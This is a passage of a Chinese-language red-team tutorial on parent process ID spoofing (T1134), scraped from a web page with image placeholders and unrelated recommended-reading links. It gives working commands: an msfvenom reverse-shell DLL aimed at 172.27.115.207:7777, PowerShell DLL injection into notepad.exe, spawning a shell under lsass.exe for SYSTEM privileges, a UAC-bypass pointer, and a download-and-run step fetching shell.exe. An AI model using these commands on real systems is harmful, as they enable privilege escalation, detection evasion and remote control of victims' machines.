在受感染端,使用tasklist /v查看進程運行詳情 。

文章插圖
在列表中,可以看到explorer.exe進程以test身份在進程ID 1624上運行 。
然后運行生成的shell.exe,并附屬在explorer.exe的PID下

文章插圖

文章插圖
監聽端收到的shell便是explorer.exe進程用戶的權限

文章插圖
如果利用具有system權限的進程,即可進行提權 。

文章插圖

文章插圖
方法二(使用Powershell DLL注入進行PID欺騙)
【T1134 紅隊技術-父進程欺騙】F-Secure 實驗室利用 powershell 創建了替代上述Didier 二進制文件的方案 。它也可以用于父進程欺騙,與上述方法不同之處在于,可以將帶有注入的DLL的子進程派生為子進程,功能更強大 。代碼可以在這里下載***/countercept/ppid-spoofing,首先在受害者機器上查看進程ID,這里我們選擇 Powershell 的 PID 24092 作為父進程ID 。

文章插圖
利用msfvenmon生成要注入的DLL
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x64 from the payloadNo encoder specified, outputting raw payloadPayload size: 460 bytesFinal size of dll file: 8704 bytes然后進行注入:Import-Module .\PPID-Spoof.ps1PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll
文章插圖

文章插圖
可以看到注入的DLL在Notepad.exe中加載執行了 。

文章插圖
通過這種方式,PPID 24092上的powershell.exe進程派生了一個帶有插入代碼(由DLL提供)的notepad.exe 。
方法三(使用Powershell 腳本入進行PID欺騙)
Decoder-it 根據 Didier Stevens 提供的指南開發了一個 powershell 腳本,使用了 CreateProcessFromParent() 方法,可以在此處找到的psgetsystem腳本:***/decoder-it/psgetsystem.git,可用于通過PID欺騙派生子進程 。首先我們查看所需進程的 PID 。這里以lsass.exe為例

文章插圖
然后執行如下命令:
powershell -ep bypassImport-Module .\psgetsys.ps1[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")
文章插圖
如果報錯,可能是UAC的問題,需要先繞過UAC,或者是權限過低,需要提權 。
繞過UAC腳本可以在這里找到:***/samratashok/nishang/tree/master/Escalation

文章插圖
然后下載所需的文件,然后執行命令
$client=new-object System.Net.WebClient $client.DownloadFile("http://<url>/psgetsys.ps1",".\psgetsys.ps1")$client.DownloadFile("http://<url>/shell.exe",".\shell.exe")Import-Module .\psgetsys.ps1[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")
推薦閱讀
-
-
-
-
-
-
-
-
-
-
- 六級聽力選項規律 六級聽力怎么提高
- win7系統殘留文件無法刪除如何解決|win7系統殘留文件刪不掉的解決方法
- 怎么在win10上玩xbox游戲 xbox怎么玩
- anki記憶方法步驟 anki怎么用
- 手機副卡要月租費嗎 移動副卡怎么收費
- 恒大地產公司怎么樣 恒大地產怎么樣
- win7怎么進入注冊表|win7注冊表編輯器在哪里打開
- psgif動態圖制作步驟 ps怎么做gif
- win7動態主題壁紙如何設置?win7桌面換動態主題壁紙的方法
